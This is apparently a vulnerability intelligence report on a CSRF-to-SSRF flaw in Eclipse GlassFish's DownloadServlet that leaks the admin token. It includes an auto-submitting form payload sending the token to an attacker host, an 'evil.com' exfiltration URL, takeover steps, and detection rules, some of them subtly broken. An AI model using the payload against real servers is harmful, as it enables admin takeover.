Vulnerability Intelligence Report: CVE-2026-12605

Executive Summary

CVE-2026-12605 is a critical combination of Cross-Site Request Forgery (CSRF) and Server-Side Request Forgery (SSRF) vulnerability in the DownloadServlet component of Eclipse GlassFish versions 8.0.x prior to 8.0.4. The vulnerability allows an unauthenticated remote attacker to trigger a CSRF attack against an authenticated administrator, causing the GlassFish domain's administration token (gfresttoken) to be leaked to an attacker-controlled host.

The impact is severe: successful exploitation results in full unauthenticated takeover of the Eclipse GlassFish domain until the token expires. With a CVSS score of 9.6 (Critical), this vulnerability affects all GlassFish 8.0.0 through 8.0.3 deployments where administrators access the Admin Console. Patch release 8.0.4 addresses this issue.

Technical Analysis

Root Cause Classification: The vulnerability exists in the ContentSources functionality of the DownloadServlet component within Eclipse GlassFish. The weakness combines two distinct bug classes:

1. CSRF (CWE-352): The DownloadServlet endpoints fail to validate the Origin or Referer headers, nor do they implement anti-CSRF tokens. This permits a malicious website to issue forged HTTP requests to the GlassFish Admin Console on behalf of an authenticated victim.

2. SSRF (CWE-918): The ContentSources feature allows user-supplied URLs to be fetched by the server. An attacker can leverage this to supply URLs pointing to attacker-controlled infrastructure, causing the server-side application to make outbound requests to those destinations.

Vulnerability Mechanism:

The core issue is in how the DownloadServlet handles ContentSource objects. When an authenticated administrator interacts with the Admin Console, the server maintains a session token (gfresttoken) for internal REST API communications. The DownloadServlet, when processing a request containing a malicious ContentSource URL, inadvertently transmits the gfresttoken value to the destination URL.

The attack flow:

1. Victim is authenticated into the GlassFish Admin Console (typically on port 4848).
2. Attacker crafts a malicious webpage or HTML email containing auto-submitting forms or JavaScript that triggers a request to the victim's GlassFish Admin Console.
3. The crafted request targets the DownloadServlet with a specially constructed ContentSource URL pointing to an attacker-controlled server.
4. Because the victim's browser automatically includes authentication credentials (cookies/session), the request is processed as legitimate.
5. The server fetches the attacker-supplied URL and leaks the gfresttoken admin token in the request headers or URL parameters.

Attack Surface:

• Target Service: GlassFish Admin Console (typically port 4848)
• Authentication Required for Trigger: Victim must be authenticated; attacker is unauthenticated
• User Interaction Required: Yes (victim must visit attacker-controlled page or click link)

The vulnerability is rated Critical (CVSS 9.6) due to:

• Attack Vector: Network — remotely exploitable
• Attack Complexity: Low — straightforward exploitation
• Privileges Required: None — attacker needs no authentication
• User Interaction: Required — victim must visit a malicious page
• Impact Scope: Changed — vulnerability impacts resources beyond the vulnerable component
• Confidentiality/Integrity/Availability Impact: High — full domain compromise

Exploitation Scenarios

Attack Chain Scenario 1: Admin Token Theft via Malicious Webpage

Stage 1 — Reconnaissance and Target Identification:

The attacker identifies a GlassFish admin console exposed to the internet. Using Shodan or similar search engines, the attacker can locate GlassFish instances via the default admin port (4848) or through application fingerprinting. The attacker notes the IP address and confirms the target runs GlassFish 8.0.x by checking the login page banner or server headers.

Stage 2 — Malicious Payload Crafting:

The attacker creates an HTML page containing an auto-submitting form targeting the victim's GlassFish admin domain:

<form action="http://victim-glassfish:4848/downloadServlet/contentSources"
      method="GET">
  <input type="hidden" name="source" value="http://attacker-server/collect-token">
  <input type="hidden" name="csrf" value="1">
</form>
<script>document.forms[0].submit();</script>

Alternatively, JavaScript using XMLHttpRequest or fetch can be used to make same-origin requests, being careful to bypass CORS restrictions by using forms or by exploiting the lack of CSRF protection.

Stage 3 — Victim Luring and Execution:

The attacker hosts the malicious page and uses social engineering (phishing email with a compelling link, malvertising, or watering-hole technique) to get an authenticated admin to visit it. When the admin loads the page, the browser automatically sends the crafted request to the GlassFish DownloadServlet with the victim's session cookies.

Stage 4 — Token Exfiltration:

The GlassFish server processes the request, fetches the ContentSource URL (http://attacker-server/collect-token), and includes the gfresttoken in the request. The attacker's server logs the token from the query parameters or headers.

Stage 5 — Post-Exploitation — Full Domain Takeover:

The attacker now possesses the admin REST API token. They use it to:

1. Create new admin users — via REST API calls to /management/domain/users/admin
2. Deploy malicious web applications — via deploy endpoints
3. Modify domain configuration — change listeners, add malicious JDBC resources, or set up reverse proxies
4. Execute arbitrary code — by deploying a JSP/JAX-WS backdoor packaged as a valid WAR file
5. Maintain persistence — the token remains valid until expiration, allowing continuous access until the token rotates

Attack Chain Scenario 2: Token Leak via Log Poisoning

Stage 1: Attacker crafts a URL triggering the CSRF→SSRF chain, but using a ContentSource URL containing the token as part of a path that appears in GlassFish access logs (e.g., http://evil.com/log?data=).

Stage 2: After triggering, the attacker monitors their log aggregation/splunk instance for incoming requests with gfresttoken values.

Stage 3: The attacker repeats the process until a valid token is captured (CSRF is state-changing which may require repeating the attack).

Stage 4: Token is used to access https://victim-glassfish:4848/management/domain/... API endpoints with full admin privileges.

Impact Assessment

CVSS Analysis:

• Attack Vector (AV:N): Remote exploitation from any network position
• Attack Complexity (AC:L): No special conditions required; standard browser-based exploitation
• Privileges Required (PR:N): Attacker needs no pre-authentication
• User Interaction (UI:R): Victim must visit a crafted link/page
• Scope (S:C): The compromised component (DownloadServlet) impacts the entire GlassFish domain
• C/I/A: High/High/High: Full confidentiality, integrity, and availability loss

Business Impact:

Affected Systems:

• Eclipse GlassFish 8.0.0 through 8.0.3
• All deployments with exposed Admin Console (default port 4848)
• Applications using GlassFish as enterprise application server

Blast Radius:

• Any application running on affected GlassFish domain
• Connected backend databases (via JDBC resources)
• LDAP/authentication backends (via security realm configuration)
• Adjacent infrastructure accessible from the GlassFish host

Attack Chain Completeness: The exploit chain is fully remote, requires zero attacker authentication, and needs only one victim click. The full chain (CSRF → token leak → admin takeover) has a high success rate, making this an attractive target for ransomware operators and espionage actors.

Detection Guidance

Sigma Rule

title: CVE-2026-12605 - GlassFish DownloadServlet SSRF/CSRF Token Leak
id: 8a1e2c3d-4e5f-6789-abcd-ef0123456789
status: experimental
description: Detects exploitation attempts of CVE-2026-12605 targeting GlassFish DownloadServlet
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-12605
author: Valtersit Threat Intelligence
date: 2026/01/15
logsource:
    category: webserver
    product: glassfish
detection:
    selection_servlet:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/downloadServlet'
            - 'ContentSource'
            - 'contentSources'
    selection_ssrf:
        cs-uri-query|contains:
            - 'http://'
            - 'https://'
    selection_suspicious_hosts:
        cs-host|contains:
            - 'localhost'
            - '127.0.0.1'
            - '169.254.169.254'
    selection_referer_external:
        cs-referer|startswith:
            - 'http'
        cs-referer|not|contains:
            - 'admin'
    condition: selection_servlet and selection_ssrf and (selection_suspicious_hosts or selection_referer_external)
falsepositives:
    - Legitimate admin using DownloadServlet to fetch allows
level: critical

YARA Rule

rule CVE_2026_12605_GlassFish_SSRF_Exfil {
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects request patterns associated with CVE-2026-12605 GlassFish token exfiltration"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-12605"
        date = "2026-01-15"
        cvss = "9.6"
    strings:
        $servlet_pattern = "/downloadServlet" ascii wide nocase
        $content_source = "ContentSource" ascii wide nocase
        $url_pattern = "http://" ascii wide
        $token_ref = "gfresttoken" ascii wide nocase
        $url_token = "token=" ascii wide nocase
        $csrf_trigger = "csrf" ascii wide nocase
    condition:
        uint16(0) == 0x3C21 and // HTML
        ($servlet_pattern or $content_source) and
        ($url_pattern or $token_ref) or
        ($servlet_pattern and $content_source and $url_pattern)
}

Suricata IDS Rule

alert http any any -> any $HOME_NET (msg:"CVE-2026-12605 - GlassFish DownloadServlet SSRF/CSRF Attempt"; flow:established,to_server; content:"/downloadServlet"; http_uri; nocase; content:"ContentSource"; http_uri; nocase; pcre:"/(http|https):\/\/[^\"]*(\?|&)(token|gfresttoken)=/iU"; classtype:attempted-admin; sid:1002605; rev:1; priority:1; reference:url,cve-2026-12605;)

Elastic Detection

sequence by host.hostname with maxspan=5m
  [process where event.action == "access" and process.name == "glassfish" and
   request.url contains "/downloadServlet" and request.url contains "ContentSource" and
   request.url contains "http://"]
  [network where direction == "egress" and destination.ip != "127.0.0.1" and
   destination.port == 80 or destination.port == 443 and
   process.name == "glassfish" and destination.ip not in attacker-known-ips]

Splunk SPL Query

index=glassfish sourcetype=access_combined
| where LIKE(uri_path, "%downloadServlet%") AND LIKE(uri_query, "%http://%")
| eval isSSRF=if(LIKE(uri_query,"%ContentSource%") AND len(uri_query)>100,1,0)
| eval isTokenLeak=if(LIKE(uri_query,"%gfresttoken%") OR LIKE(uri_query,"%token=%"),1,0)
| eval isCSRF=if(NOT LIKE(referer,"%admin%") AND isnotnull(referer) AND referer!="-",1,0)
| where isSSRF=1 OR isTokenLeak=1 OR isCSRF=1
| stats count by client_ip, uri, isSSRF, isTokenLeak, time

Wazuh OSSEC Rule

<group name="web,glassfish,">
  <rule id="100245" level="14">
    <decoded_as>json</decoded_as>
    <match>downloadServlet</match>
    <regex>ContentSource.*http://</regex>
    <description>CVE-2026-12605: GlassFish DownloadServlet SSRF/CSRF exploitation attempt detected</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>attack.initial_access,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED) — NVD description indicates fixed in 8.0.4. This is confirmed by a single source (NVD). Verify with the Eclipse Foundation before deployment.

1) Immediate Mitigations (before patching)

1. Restrict network access to Admin Console:
   - Firewall rule: drop from all IPs to port 4848 except trusted management IPs
   - Implement VPN/SSH tunnel requirement for admin access

2. Disable the DownloadServlet if not in use:
   - Edit glassfish-web.xml to remove ContentSource servlet mapping
   - Stop content-serving functionality until patched

3. Implement WAF rules:
   - Block requests to /downloadServlet with external URL parameters
   - Block requests with no valid Referer from admin console

4. Enable CSRF protection:
   - Configure GlassFish with strict Origin header validation
   - Use request encryption (TLS) to prevent token interception during transit

2) Patch/Upgrade Steps

1. Download Eclipse GlassFish 8.0.4 from official Eclipse Foundation website
2. Backup existing configuration:
   cp -r $GLASSFISH_HOME/conf /backup/glassfish-conf-$(date)
3. Stop GlassFish service:
   asadmin stop-domain domain1
4. Replace GlassFish binaries:
   - Extract new 8.0.4 distribution to temp location
   - Copy new $GLASSFISH_HOME over existing (preserving /conf and /domains)
5. Verify patches applied:
   asadmin version  # should report 8.0.4
6. Restart service:
   asadmin start-domain domain1
7. Test admin console login and content download functionality

3) Long-Term Hardening

1. Enable full HTTPS on Admin Console (ssl-enabled="true")
2. Implement mandatory MFA for admin console access
3. Configure session timeouts (default 30 min; set to 15 max for admins)
4. Deploy Network IDS/Firewall rules:
   - Geofencing for admin console
   - Alerts on outbound requests from GlassFish host to external URLs
5. Regular security updates:
   - Subscribe to Eclipse GlassFish security mailing list
   - Implement automated patch deployment process
6. Perform regular penetration testing of admin interfaces
7. Use containers/K8s with ephemeral tokens and network policies

References

1. NVD Entry — https://nvd.nist.gov/vuln/detail/CVE-2026-12605 (Official CVE record with CVSS 3.1 score of 9.6)

2. Eclipse GlassFish Security Advisories — https://eclipse.dev/glassfish/documentation/security/advisories/ (Official vendor advisory listing affected versions and patch information)

3. CWE-918: Server-Side Request Forgery (SSRF) — https://cwe.mitre.org/data/definitions/918.html (Weakness classification reference)

4. CWE-352: Cross-Site Request Forgery (CSRF) — https://cwe.mitre.org/data/definitions/352.html (Related weakness contributing to this vulnerability)

5. MITRE ATT&CK — T1190: Exploit Public-Facing Application — https://attack.mitre.org/techniques/T1190/

Threat Actor Activity: No known threat actor campaigns or exploit-in-the-wild evidence as of the report date. EPSS score not yet available from FIRST.org. CISA KEV listing: NOT listed. Exploit code: NOT publicly available.